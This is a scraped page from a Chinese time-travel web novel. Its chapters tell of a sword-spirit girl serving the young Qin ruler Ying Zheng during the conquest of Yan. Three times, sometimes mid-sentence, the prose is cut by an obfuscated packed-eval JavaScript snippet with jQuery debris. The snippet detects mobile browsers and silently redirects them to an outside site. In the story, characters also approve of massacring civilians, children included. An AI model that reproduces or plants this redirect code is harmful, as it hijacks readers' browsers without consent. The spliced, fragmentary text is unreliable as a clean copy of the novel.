《扫六合?带着始皇扫196合!》
4. 第4章
“你救了寡人,有什么想要的吗?”
【不对劲儿!】
嬴政猛地坐直了身子,警惕看向四周。
又有人刺杀于他?
【这太不对劲儿了,政哥这话说着像是要跟我两清一样。】
【不行,政哥咱们俩不能两清!】
鹿尧扑通一下跪下,膝盖跪地之声音清脆响亮,听得直让人牙龈发酸。
“王上,我没什么想要的,我只想跟在王上身边,一直保护您!”
【嗯,要是不能明面上保护,我可以回御膳房,多吃点好吃的,暗中保护~】
【也不知道都有什么好吃的,好几天没吃饭了,我都饿的没力气了。】
鹿尧嘀嘀咕咕,嬴政沉默不语。
怎么会有人能做到如此口是心非?
且,他宫中负责膳食的地方并不叫御膳房,鹿卢剑怎地连宫殿都不熟悉?
嬴政短暂思索之后,便把它归类到鹿卢剑刚化成人形,对宫中不熟悉。
“寡人允你留在身边。”嬴政问,“你叫什么名字?”
“鹿尧,尧舜禹的尧。”鹿尧不假思索回答,这是她找算命先生,花了大价钱算出来的名字。
尧舜禹……
如此大不敬的重罪,便是族诛也不为过。
还好他有先见之明,将宫人都遣出殿外。
“名讳之事,不许同外人讲。”嬴政扶额,看着鹿卢剑……鹿尧,有一种无法沟通的无力感。
“你暂且跟在赵高身边吧。”
鹿尧虽然不懂,但是十分听话,照着先前宫女的姿势,比葫芦画瓢向嬴政行礼:“谢王上恩典。”
嬴政唤赵高进来,将鹿尧交给了他。
赵高心中诧异,面上却是笑容灿烂,拱手道:“鹿大人殿前救驾身姿矫健,剑法凌然,偶有王上十分之二三风范,高佩之。”
【我有政哥风范?】
鹿尧双眼噌地亮了。
【赵高真会讲话啊,就让他多活一天吧。】
嬴政看了眼恭维鹿尧的赵高,为了他的小命着想,将鹿尧支开去偏殿将僭越的衣衫换下,叮嘱其:“莫要招惹鹿尧。”
赵高瞳孔地震,不敢相信自己听到了什么。
若是当时他及时反应过来,若是他救了王上,若是……
赵高悔的肠子都青了,娘嘞,他怎么就没有反应过来。
赵高咬着后槽牙应是:“鹿大人救了王上,就等于救了高一命,高将视鹿大人为再生父母。”
嬴政不轻不重嗯了一声。
这一声嗯更让赵高如同被雷劈了一般。
他故意将话说得如此之重,王上竟然应了。
“鹿尧的住处暂且安排在大阳宫偏殿,再去挑两个做事稳妥、嘴甜会哄人的婢女过来,跟着她。”
嬴政听着渐弱的心声,不顾规矩将鹿尧就近安排在了自己身边就寝,又想着她跳脱的性子,多半不会老老实实让人看管着,道:“若是不愿婢女跟着,就在偏殿候着,她有什么需求及时满足就行。”
赵高身躯震颤。
鹿尧到底是从哪里冒出来的人物,救了王上后竟被王上信任、宠爱到如此地步?
简直可以说一句,万人之上了!
赵高心绪复杂,难道荆轲刺杀,将王上多疑的性子给杀没了?
“王上,臣是否该去仔细查一下鹿大人的底细?”赵高试探着询问,下一秒就被王上投掷过来的视线吓到噤声。
“她的底细寡人再清楚不过,赵高,不要做你不该做的事情。”
赵高点头如捣蒜,不敢再对鹿尧有一丝表面上的不满。
王上如此大的动作,摆明了信任对方,他也是被猪油蒙了心,才去试探王上。
触了王上霉头,赵高不敢再在殿内多做停留,借着给鹿尧挑选婢女的借口,逃也似地离开了。
赵高踏出大殿,鹿尧刚巧从后殿出来,浑身洋溢着高兴的气息。
【不愧是我政哥选的衣服,就是好看啊~】
嬴政闻声,抬头看去,一时噎住。
为何穿的是他的旧衫?
目光顺着鹿尧衣襟打量下去,瞧见刚刚好能露出脚面的裙裾,明悟了。
此等身高,也只有他的旧衫合她身量。
嬴政忍不住好奇自己和她孰高,但王的威严不允许他直白的将人唤到身边进行比较,只能大约莫在心里比划了一下。
结论是,他比较高。
嬴政好心情的让鹿尧在自己面前转了一圈,满意的点头,对她身后人道:“按照寡人的规制和身量,多为她准备几件服侍。”
宫人低声应是。
【这合适吗?这合适吗?】
【这很合适!】
【好孩子就要和政哥贴贴!】
嬴政嘴角抽搐,这般秉性,年纪怕是还没有扶苏大。
想着,他便问了出来。
“十七!”鹿尧毫无防备回答,还蠢蠢欲动的想问政哥芳龄几何,可有打算打下亚洲,冲向欧洲。
【不对,应该先灭小日子。】
鹿尧的一腔热血感染到了嬴政,虽然他并不知道小日子是什么东西,但从鹿尧的表现来看,一定是什么好东西。
嬴政眯眼,在心里的小本本上记下了这个名字。
十七岁。
对得上这把剑的铸造时间。
嬴政指腹顺着剑身上精美繁杂的纹路悬空划过:“鹿尧,寡人见你用鹿卢剑十分得心应手,便将它赏你了。”
鹿尧理所当然地伸手接了过来。
自己的本体肯定是放在自己身边最安心啦!
她挽了个剑花,顺势将鹿卢剑挂在了腰间,英姿飒爽的模样让嬴政点头不止。
这才是他的剑。
早在荆轲从地图中掏出匕首那一刻,嬴政就知晓无论用尽何种手段,他都必将鹿卢剑及鹿卢剑的化身留在自己的身边。
嬴政勾起唇角。
眼下是最好的结果。
一个武力值高强、不知道自己能听见她心声,全然信任自己,一心为自己好的鹿卢剑。
天地认可他,所以派了她来助力!
赵高领着自己精挑细选的宫人回来时,正巧看到了王上用只在对待王妃时出现的宠溺神情,不由地打了个激灵。
是他从一开始就想歪了!
鹿尧武力值太高了,高到让人忽视了她的美貌。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446518|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以她这样的姿色,做王上的妃子,不比当下人强吗?
赵高脸上的笑多了几分真心,转身认真叮嘱两个宫人:“先前我同你们说的事情,全当没听过,好好照顾鹿女官。”
“是。”
鹿尧听到声音,一扭脸就对上了赵高谄媚的笑,头皮发麻的向后退了一步。
【上次有人对我笑的这么猥琐、还是校门口的精神病,变态。】
【赵高这么早就疯了吗?】
嬴政闻声看去,却因为距离太远,看不清赵高的神色。
回想赵高平日里对他的笑容,确实有几分难以言说的猥琐之感。
【政哥竟然专门给我指派了宫人!】
【这不是爱还能是什么?】
赵高侧让开身子,好让鹿尧看清两位婢女的模样:“鹿女官,您瞧瞧满意吗,不满意的话我亲自带您再去选。”
鹿尧被政哥关心自己的举动蒙蔽了心神,大手一挥,道:“不用了,就他们两个。”
“连月、连云见过主子。”
【诶,还是双胞胎诶?】
鹿尧看着两张一模一样的圆脸,疑惑问道:“你们两个谁是姐姐,谁是妹妹?”
连月弯眸笑着道:“臣是妹妹,臣的姐姐眼下有一颗痣。”
连云上前一步,微微抬起头,低着眉眼向鹿尧介绍自己。
鹿尧微微俯身,双手捧着连月的脸,赞叹道:“你这颗泪痣长得好啊。”
连云猝不及防和主子对视,从未被夸奖过的她面颊绯红,就连向来口齿清晰、凌厉的嘴巴都打磕绊:“谢、谢主子夸奖。”
“真的,我之前学点泪痣,怎么点都不好看,跟挂了个小飞虫标本在脸上一样,死难看。”
一抹温热的触感从眼尾滑过去,她来不及多感受,就看见了赵高阴翳的眼神,背脊发凉,赶忙垂下了头:“痣为瑕疵,人多不喜。”
鹿尧送开了手,道:“我喜就够了。”
她转身看向赵高:“王上说我的住处你安排好了,你带我去看看。”
赵高眼神还在骂连云,猝不及防对上鹿尧视线,忙扬起笑脸:“臣带您去。”
他低头弯腰,没有看见鹿尧对他竖了中指。
“一起走吧。”鹿尧对双胞胎姐妹道。
说是偏殿,其实就是大阳宫西边一处较大的房间,比鹿尧宿舍大不了多少。
伸手摸了一下桌面,没有一丝灰尘,显然是打扫过的。
连云连月眼里有活,一进来就开始打扫鹿尧看不见的脏污。
鹿尧询问了一下她们的住处,得知并不是和自己住在同一个房间后略显高兴:“那你们可以先出去下吗,我想一个人待会儿。”
连云连月无有不从,即刻退了出去。
看着只剩自己的房间,鹿尧紧绷了许久的神经放松下来,一整个“大”字摊倒在了床榻上。
算一算时间大学通知书应该寄到家里了,园长妈妈看见一定会很开心吧。
除了这件事儿,她再也没有别的牵挂了,穿越也好,她是真的不想上学了。
三百六十行,行行出状元。
她要当穿越潮流中的大状元——帮政哥一统天下!
6. 第6章
“你是说,鹿尧,随王翦老将军出征燕国?”
赵高看着面前的内侍,不敢相信自己听到了什么。
鹿尧顶着那张祸国殃民的脸,不去后宫发挥最大优势,反而去前朝和男人争抢战功?
“王上是什么态度?”赵高追问。
“王上一口应下,并让将军多多照顾鹿大人。”内侍回答完一溜烟跑走了,独留赵高一脸懵的站在柱子旁。
他就是去加练了一会儿延年益寿操,怎么回来一切都颠了个底朝天?
赵高思索着,忽然,像下定了某种决心一样,目光坚毅地进了内殿。
“王上。”赵高跪下,语气坚定道,“臣也想随王翦将军出征燕国,为我大秦出一份力!”
“不允。”嬴政头也没抬。
赵高去战场,没被敌人杀死也被鹿尧一剑穿心捅死了。
决计不会活着回来。
赵高没想到自己会被王上拒绝的这么干脆,他一刹那间没控制住自己,呜呜呜抹起了眼泪。
心里已经想到王上觉得自己没用,过几天就把他降职,发配去外面干洒扫,喂牛喂马的活儿了。
赵高一脸悲怆,哽咽道:“王上,臣也会武,臣会的东西很多,您不要抛弃臣啊。”
嬴政合了竹简,看向赵高,心里想的全是鹿尧说过的话。
直到赵高反应过来自己持宠而娇,敢和王上提要求,赵高脸色欻的白了。
明明有一个模板前车之鉴,他怎么原封不动搬了过来呢?
若是引得王上看见他就想起蒙嘉,岂不是……
“王上,臣知错,臣不该在您已经明确不允的情况下还为难您。”赵高啪的一个巴掌扇自己。
倒是吓的沉浸在自己思绪里的嬴政心跳漏了一拍。
看着跪在地上可怜无比的赵高,嬴政宽声安抚:“高,寡人是离不开你才不让你去。”
“今日晨时用膳,你不在身边,寡人饭都吃不舒服。”
嬴政视线从桌面一扫而过,抬手将一支将要用完的炭笔赏给了赵高:“寡人希望你能如它一般。”
赵高不得其意,可王上已经开始处理政务,他只得捧着不足自己小拇指指甲盖长的炭笔候在一旁思索。
待夕时用膳,赵高仍旧没想明白,便拿着这小截炭笔,问王上新宠——鹿尧。
鹿尧原是不打算理会赵高,可这人实在可怜巴巴,就听了一耳朵前因后果。
来自灵魂深处的记忆、来自训练了无数回的肌肉记忆,鹿尧反问赵高:“知道炭笔的作用吗?”
“供人书写。”
赵高补充道:“这一种类型的炭笔难得,仅供王上使用。”
“所以,你还不懂吗?”鹿尧再次反问。
赵高懵了,他应该懂什么?
“王上意在,你的作用应该是服侍在他左右,只服侍他一人,而不是上战场。”
对此说辞,赵高隐约觉得哪里不对,但又说不上来具体哪里不对。
“你且再看这根炭笔的长短。”鹿尧比划了一下长短,然后看向赵高的双眼,压低声音,隐晦而又隐秘道,“若是你越了界,去做你不该做的事情,失去了你原本的作用,就会像它一样,被随意丢弃。”
做不该做的事情,失去作用,被丢弃……
赵高恍然大悟。
王上原来是这个意思!
高懂了,高再也不会去想那些乱七八糟的东西,高会全心全意留在王上身边,专心侍奉王上!
赵高拜谢鹿尧后,入内殿,对着不知其所以然的嬴政再三表明衷心。
时间一晃而过。
秦军出征已过月余,势头猛如破竹,直捣黄龙。
鹿尧骑在战马上摇摇晃晃打着瞌睡,王翦时不时回头看向她,总担心此人会一不小心头朝地栽倒路上,磕破头半道而亡。
虽然这一路而来她都十分稳当。
“鹿常侍,前面就是燕国都城蓟城了。”王翦之子王贲骑马跟随在鹿尧一侧,他试图将鹿尧从周公那里拽出来,“按照你先前同我说的故事,这里应当就是北京一带了。”
见她睫毛颤动,似要睁眼,王贲忙正了一下头盔,背脊挺直:“你看周边是否是你所熟悉的?”
入目一片荒芜,黄土和天连在一起,恍惚间让人分不清自己身处何处,只觉得自身缥缈如同一粒黄沙。
“有点眼熟吧。”鹿尧回话间,巍峨高大的城墙于风沙中显现出来,城垣绵延数十里,一眼望不到头。
她忍不住夸赞:“燕国人品性不行,审美倒是还行。”
“王贲,这回咱们比比谁先第一个冲进燕王王宫,抢了他的头冠?”
“作为最重要的人物,咱们这回比试先不允要求和条件,拿到燕王喜的头冠后,再细想。”
眼见王贲想也没想,张口要应,走在前头偷听二人讲话的王翦,立刻攥紧缰绳,慢下速度到了他二人身边。
王翦瞪了一眼王贲。
小瘪犊子,家里三套房子、六十多亩地都让你输了出去,还没认清自己的实力吗?
同样是出来历练的,怎么人家鹿常侍就跟回了家一样,一刀下去一串脑袋掉地,你哼哧瘪肚打半天砍一个人就算了,自己还手上?
王翦也是从毛头小子过来的,一看自己儿子那样就知道他是春心萌动了,眼中的嫌弃是丝毫不加遮掩:“你给我滚过来。”
王贲架马过去,在父亲并未注意到的时候,将一只手背到身后冲鹿尧做手势——食指和大拇指圈做一个圈,另外三根手指向外竖着。
这正是鹿尧教他的,答应、应承的手势。
鹿尧看着父子俩去说悄悄话,不用想也知道王翦会狠狠踹王贲的屁股。
无他。
只因她快把王家老底儿摸清了。
这般想着,她就看见王翦一脚踹向了王贲,王贲撅着脸和王翦说什么。
“主帅,这里是战场,请您对下属放尊重些。”
“哈?”王翦连踹三脚,直接将人从马上踹了下去。
他居高临下看着那因为觉得在有好感的姑娘面前丢人而燥红了脸的瘪犊子,冷哼了一声,警告其:“收起你的心思,这是战场,稍一分神人就没了。”
见王贲脸上红温渐退,王翦道:“仔细观察一下吧,你在她面前像个孩子。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446520|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她看不上你。
王翦没有明说,但王贲领会到了他的意思。
看着父亲架马离去的背影,王贲拍了拍自己的马,和马对视着,小声嘟囔:“所以我才答应那个赌约啊。”
“总要试一下,好不容易有个爹喜欢,我也喜欢的姑娘。”
王贲蹬地上马,转头要去寻鹿尧,却发现她身边已经围满了人,没有位置可让自己挤进去。
王贲忍不住感慨。
鹿尧的武力实在是太强了,刚上战场时,她似乎是有所顾虑不愿出手,可看到熟悉的人受了伤,便放下了所有的顾虑……
在战场上,她不像是杀人,是为了救周围的战友而对抗敌人,只不过那些敌人太脆弱了,承受不了她的一击。
看着被围在中间,和众人聊燕国有什么好东西可以带走的鹿尧,王贲好似看到她浑身上下散发的光芒,于是暗暗下定决心,燕王喜的头冠,他要定了!
秦军铁骑铮铮,声势浩天,直奔燕国都城蓟城。
尚未临近,城楼上的士兵双腿就已发软,若不是最后为臣为民的底线和尊严在,城楼门怕是敞开任君侵入。
燕王宫。
被打破了胆的燕王喜正在责怪太子丹:“孤早就和你说了,不要去惹大秦!”
“若不是你派了荆轲去刺杀秦王,燕国如今就不会被逼成这般模样。”
燕王喜怀中抱着国玺和重要的印章,指挥着随侍将暗门打开,千人护卫队已在城门外等待,他现在只需要安全的从王宫中逃出,就可逃离秦王的铁骑。
太子丹阴沉着脸,站在暗门之外,听着外面漫天的杀声,生生将一旁的铜柱捏出了五指印。
望见火光逼近,厮杀惨叫声越来越大,太子丹之奴焦急不已:“太子,我们再不走就来不及了。”
“嬴政,这次算我输了。”
纵使心中有千百不愿,太子丹还是踏入了那伸手不见五指,黑黢黢的地道。
就好像他往后余生,皆会如今日这般,如鼠蚁这般,躲藏在地下,终不再见阳光。
不!
太子丹眼中迸发出熊熊烈火。
下一次,下一次,他会将一切都夺回来!
呲——
一道银光如雷霆闪过。
太子丹尚未反应过来发生了什么,眼前一阵天翻地覆的眩晕……
咚咚——
他看见了自己的躯体。
他听见了奴仆尖叫的声音。
他嗅到了死亡的气息。
“太子,对不住了,只有献上你的人头,才能平息秦王的怒火。”
十分熟悉的声音,是谁呢……
太子丹已经无法在继续思考。
燕王喜的宠臣上前提起太子丹的脑袋,交于奴仆手中:“去吧,用太子丹的人头,拖住秦王进攻的步伐,燕国会感谢你的。”
奴仆看着那张和善的面庞,难以想象当初易水边,他站在太子丹身后,一同为荆轲送行后,彻夜与主子把酒言欢的人会如此残忍地砍下太子丹的人头……
“王贲,我们好像来迟了。”
“把暗门撞开不就行了!”
9. 第9章 燕王喜并未抓住。
燕王喜并未抓住。
鹿尧很震惊地问轻足:“王贲真的不回来了?”
轻足看着鹿尧,激动无措,但还是点明前提:“是不捉到燕王喜,誓不回朝。”
【嘚,那他在外面流浪吧,等政哥灭了其他五国再去解决燕王喜。】
嬴政抬头,看向鹿尧。
燕国残存势力而已,竟要他亲自去抓吗?
嬴政沉思,立刻着笔令王贲用尽全力,无论如何在半年之内抓住燕王喜。
赌约和王上的命令,两重因素使得王贲浑身充满干劲,亢奋到三日不睡都精神饱满。
直追的燕王喜等人叫苦不迭,甚至留下了穷寇莫追四个大字。
嬴政拿到这消息后第一时间和鹿尧分享了,看她笑的前俯后仰、合不拢嘴,心情也跟着高昂。
扶苏每日来请安,今日也不曾例外,听到父王和鹿常侍因为此时开怀大笑,心中满是不赞同。
嬴政扫过去,一眼便看到他面上挂着的情绪不佳四个大字,嘴角的笑缓缓消失。
“扶苏,近些时日你不用来请安了。”嬴政态度强硬,命令扶苏即刻出去。
扶苏倍感委屈,却也没有说什么,赌着气就退了出去。
鹿尧原是没注意到的,她正在和政哥吩咐给她的绣娘一起研究新式衣裳,自穿越过来发现这里人裤子当真没有□□,就偷偷摸摸带着绣娘把政哥所有裤子都缝上了。
嗯,她原本是想亲自缝的,可是手指实在是太笨了,好不容易学会了怎么样穿针引线,埋头库库一顿缝,结果把裤管也缝上了。
鹿尧戳手。
还好她是拿赵高的新裤子练的手,让政哥躲过了穿着束口紧身高脚裤。
看着面前很不习惯,总是不受控制的去抖腿,让裤管宽松舒服一点儿的赵高,鹿尧贴心道:“如果你穿着不舒服,也是可以换下来的。”
赵高摇头拒绝,内心的高兴难以掩饰:“鹿常侍辛苦为高制作新衣衫,高不会辜负鹿常侍的用心。”
【政哥,这可不是我故意折磨他,是他非要穿的。】
嬴政几不可见的点头,他听到了。
是赵高主动的,与鹿尧无关。
赵高因着这裤子的原因,悄声提醒鹿尧:“鹿常侍,我见公子似乎对你有些看法,你要不要去和公子聊一下呢?”
“嗯?”鹿尧闻声回头。
【扶苏对我有看法?】
【什么时候的事儿,我怎么没看出来?】
赵高看了眼在处理政务,并未注意到他们的嬴政,凑近鹿尧,小声道:“这事儿也与王上有关。”
鹿尧示意他细说。
“郑王妃和后宫其他庶妃,都以为你会……”赵高挤眉弄眼,伸出手掌再用另外一只手比作两条腿,在掌心走了两步。
“什么意思?”
“就是……”赵高又回头看了眼王上,一咬牙一跺脚,为了身上这身衣服说了,“就是以为你会入王上后宫。”
“咳咳咳——”鹿尧险些被自己的一口唾沫呛死,她摸着自己的胸脯,安抚着自己,“赵高,你脑子里都想什么呢?”
“我和王上怎么相处你不是看的一清二楚吗,我们两个怎么会那种关系,就算是,就算是我爱慕王上,你看我这样子配得上吗?”
鹿尧反手指着自己,满面不可置信。
“况且我们两个年纪差距这么大,怎么想都不可能好么!!!”
“鹿常侍,王上曾在郑王妃面前夸赞过你,言语之间极为信任。”见她还是觉得传言夸张,赵高只得指了指殿内其他奴仆,“你看其他伺候王上的人,有几个能像你这样,在殿中来去自如,不用通传?”
而且,她除了最开始从颍川回来的时候做了两天伺候王上的活儿,之后就神龙不见尾,常常找不到人。
偏生王上还宠着她,同自己说,随她去。
鹿尧道:“我救了王上啊!”
【难道救命之恩没有这些待遇?】
“呵呵。”赵高皮笑肉不笑,“你是王上的侍卫,你救王上是应该的,给你奖赏是王上看重你,不给你奖赏,你也无话可说。”
鹿尧宕机了。
她还真没想过这个问题。
“我出去一趟。”
鹿尧转身走了,似乎有什么很着急的事情。
赵高看着她的背影,心中甚慰。
总算没有白费他一番口舌。
心想着这下算是两清了,一转身,正对上了王上阴鹜的眼神,喉结滚动,慌张跪了下去。
“让那两个婢女激灵点,跟上去。”
“是。”
彼时连月外出归来,正和鹿尧撞到,她撇下手中篮子,快跑着追上去。
“鹿常侍,您这是要去哪里,需要奴吗?”
“不用……等等,你知道这里的太医,就是大夫,都在哪里吗?”
连月点头:“奴带您去。”
一路寻到泰医右府,看到正在给宫人看病的夏无且,鹿尧扶着门框觉得腿有些软了。
“蒙嘉呢?”
连月不懂鹿常侍为什么问这个,但凭着印象回答:“应当是五马分尸了。”
现在鹿尧觉得眼前有点黑了。
哦不,是她的前途一片黑暗。
鹿尧很久没动过的大脑开始紧急思索,她抓着连月问:“你知道负责器物制作的地方在哪里吗?”
连月犹疑了一下,才道:“您问的是少府左采铁处?”
“采铁?”鹿尧管不了那么多了,“先带我去。”
连月只好一路小跑再将人带去左采铁处。
看着室内忙活的众人,鹿尧隐约觉得自己的命续上了。
“谁是管事的?”
来人方一站出,鹿尧就拉着他快速讲清楚了自己要的东西。
“无论如何,明日我要看见。”
“可……”
鹿尧抬手打断他讲话:“事成有奖赏。”
“我们现在就有现成的东西。”那人立刻指挥着其他人等将角落闲置不用的搅拌盆、石臼、筛子抬了出来。
“至于蒸笼……”
连月小声道:“可以去厨房那儿借用一下。”
鹿尧冲她竖了大拇指,随手点了一个人:“你同她一起去,速速抬回来。”
“现在缺树皮……”
“郑王妃正欲修缮花园,运来不少木料,或许可以去郑王妃处请求
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446523|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下?”
鹿尧得了这消息,转头就直奔后宫。
一路上她都在想,万一郑王妃不借给她树皮怎么办,没成想,方一开口,郑王妃便直接让她把所有的木料拉走了。
“花园何时都能修缮,既然你有用,便先拿去用吧。”
“呜呜呜,王妃,您人美心善,和王上天作之合啊!”鹿尧好听的话一箩筐的泼向了娴静温和无比的郑王妃。
郑王妃被夸得面颊泛红,瞥眼看见帘子后的人憋不住气儿了,便找了个借口把鹿尧打发走了。
扶苏气鼓鼓走出来,从窗户看着鹿尧大张旗鼓指挥着人抬着木头离开,他直言道:“阿母,您怎么那般轻易松了口?”
郑王妃示意他喝口水收收小性子:“从你父王和你口中听到了很多对鹿常侍的描述,方才亲眼见了,反倒觉得你们都不客观。”
面对扶苏疑惑的眼神,郑王妃道:“是个很可爱、很开朗的姑娘。”
扶苏难以接受:“阿母,您才见她第一面,如何就给她这么高的评价?”
郑王妃探身,在扶苏额头轻轻弹了一下:“你呀,就是钻牛角尖了。”
扶苏捂着额头,幽怨地看了一眼阿母:“若是父王真的要纳她入后宫怎么办?”
郑王妃没什么感想,她拿起剪刀继续修剪盆栽。
扶苏见阿母不欲搭理自己,便抱着一种莫名的心思,跟着转移树木的大队到了少府处。
挑选了一个能看见鹿尧,但她又看不到自己的位置,扶苏悄悄的观察起她来。
只见她指使着众人将木材切成薄薄的木片,连同着嫩竹和许多不知名的破布破网一同洗涤后,放入蒸笼蒸,眉头不禁紧蹙。
她怎能这样毁坏木材?
蒸了大约一个时辰,将所有的东西倒入石臼,十多个人一同舂捣,直到将石臼里所有的东西打成浆泥,鹿尧又快速将其放入石槽。
左右找不到合适的捞纸的工具,鹿尧干脆去将蒸笼里的底子掏了出来,等石槽里的泥浆沉淀差不多了,便缓慢放入水中,左右均匀摇晃,一层薄薄的米白色的东西出现在众人面前。
因为蒸笼是圆的,鹿尧将纸膜倒在石桌上时也是圆形的。
她沉思了一瞬,决定忽视这点儿不重要的小问题,转而继续焯水将纸膜捞出。
如此循环往复,石桌上出现了高高的一摞米白色的东西。
因着鹿尧做的极为认真,无人敢打扰她,以至于所有人都不知道这是在做什么。
扶苏看了许久,见无人注意到他,便从暗处走了出来,到石桌旁认真观察起桌面上那些圆形的东西。
午日的阳光渐渐西斜,最初的一摞上层已然干涸,扶苏忍不住上前,伸手触摸——
鹿尧正在抄纸,眼睛余光忽然瞥见有一抹白色裙裾在右后方,见到一只罪恶的手伸向自己续命的东西,大惊失色:“别动!”
扶苏被吓了一个激灵,赶忙收回了手。
再抬头,他发现所有人的视线都落到了自己身上,一股难以言喻的羞耻和尴尬席卷而来。
扶苏慌张不已,欲解释,却被周围的人径直劝了出去。
直到夜晚降临,少府的门关了,他都不曾离去。
12. 第12章
嬴政怒气冲冲提着两个小兔崽子回了大阳宫。
鹿尧跟着扶苏排排跪,见扶苏紧张的不行,还悄悄安慰他:“别怕,王上总不至于把咱们两个拖出去五马分尸了。”
鹿常侍到底对父王有多大的误解,好似无论他们犯了多么小或者多么大的事情,最终的结果都是被五马分尸……
扶苏不知道该说她是乐天派还是悲观派了。
【我被五马分尸不算什么,说不定还能回去,扶苏要是被分尸了……】
【虎毒尚且不食子,政哥对扶苏有那么大的厚望,应该不会这么狠吧。】
“鹿常侍,你又在随意揣测父王心意了!”扶苏想要提醒她随意揣测君王心意会被拖下去砍头,但砍头和五马分尸相比……似乎算不得什么。
扶苏无语,决定不再和鹿尧说话,老实认错。
嬴政坐在上首,心中后怕不已。
谁懂他正在同大臣商量如何处置旧韩贵族时,忽然听说鹿扶苏心悦鹿尧时心中的惊吓,刚想好要怎么劝说扶苏放弃这个不切实际的念头,又听到鹿尧为了拒绝扶苏,要把自己真实身份告诉他时,眼前的一片昏暗……
【政哥看起来很严肃的样子,是发生了什么吗?】
【难道……】
嬴政瞥目,看见鹿尧渐渐认真的模样,瞬间回想起来那天她要杀蒙嘉那日的神情。
“鹿尧。”嬴政出声打断她思绪,这里就扶苏一个外人,以鹿尧保护自己的心思,他很难不怀疑鹿尧等下提剑就把扶苏杀了。
嬴政扶额,从现在的情况来看,鹿尧把扶苏送走的概率远高于赵高矫诏逼迫扶苏自杀……
“鹿尧,韩王安要见你。”
扶苏余光瞥见了鹿尧潇洒起身离去的背影,莫名生出几分一起做坏事后,自己被朋友抛弃的感受。
“父王,儿臣是犯了什么错吗?”
想着,扶苏便问出了声,他回想被抓到大阳宫之前,自己和鹿尧也并未做什么不该做的事情。
“你为何对鹿尧的身份这般好奇?你心悦于她?”
扶苏猛地抬头:“父王,您在说什么啊!”
如此激烈反应,让嬴政松了一口气,不是情情爱爱便好。
“儿臣只是好奇鹿常侍从何而来,一身武力如何修得,儿臣见过许多武打之人,他们身上全是凶煞之气,而鹿常侍,却是……”
“父王。”扶苏突然止住话语,神情踌躇,似乎想说些什么但又犹豫着不敢说。
“或许儿臣说出来您会觉得儿臣疯了,但,鹿常侍或许不是人。”
嬴政眉心一跳:“何出此言?”
“您遇刺那日,鹿卢剑就在儿臣手中……”
牢狱。
韩王安躺在稻草堆上,思索着自己要怎么样才能活下来。
“你让我过来就是看你翘着二郎腿的滋润生活?”
韩王安被吓了一激灵,滚了一圈起身,抬头看见熟悉的身影,连忙哀嚎:“大人,您快救救我。”
“您从一开始就知道,我是被那些人强行逼上那个位置的,我一点儿反叛的念头都没有啊!”
“我不想死,我真的什么也没有干啊。”
他鼻涕一把泪一把,看着极为可怜。
可惜鹿尧对此并没有产生任何情绪,她哦了一声,转头离开。
韩王安的身份摆在这里,他活着,贵族复国的念头就不会停歇。
政哥杀他简直是理所应当的事情。
鹿尧才不会因为一个将死之人去反驳政哥,说政哥做的不对。
【对敌人仁慈,就是对自己残忍。】
从牢狱回来,再入大阳宫,鹿尧迎面收获了一位徒弟。
嬴政道:“扶苏体弱,寡人想让他同你学一学武。”
鹿尧哪儿会教人啊,面上就差写上“我不愿意”四个字了。
扶苏上前,拱手躬身,郑重道:“苏天资愚笨,望鹿常侍不弃。”
鹿尧看了眼嬴政,咬牙认了,伸手扶起扶苏。
“那你一切都要按照我的要求来,不许问为什么。”
扶苏无有不应,态度好到鹿尧都不好意思说什么了。
嬴政打断两人对话,将前线王翦来信递给了鹿尧:“王翦来信,询问寡人燕国不愿降的遗民如何处置。”
鹿尧快速翻看,看到有将士被三岁孩童刺伤,险些丢了性命,眼睛微眯。
【我保护了一路的士兵,竟然差点儿被小孩儿杀了?】
“你意下如何?”
“杀了。”鹿尧毫不犹豫回答,“不论老幼妇孺,一并杀了。”
嬴政甚为满意,他心中所想,也是如此。
“那就……”
“等等。”
两人目光齐齐落到扶苏身上。
【扶苏,答应我,你不是要来发善心的。】
“为何要杀手无缚鸡之力的人?”扶苏眉头紧蹙,无法理解父王和鹿常侍三言两语就定了燕遗民的生死。
鹿尧没有多说,将信递了出去。
看着扶苏看完信,情绪波动激烈,她心下稍安。
【还好,还好,扶苏还没有彻底被仁爱仁善洗脑,还有救……】
“三岁小儿懵懂无知,便是动手也是大人撺掇。”
【嘚,说早了。】
鹿尧面无表情看向嬴政。
【政哥,你的儿,你怎么说?】
“父王,孩童年幼无知,不记事,只要我们加以引导,用心教育,他们定会感恩,对我大秦无尽忠心。”
【嗯……】
【或许应该给扶苏多看两本不补刀而引发的惨烈后果小说。】
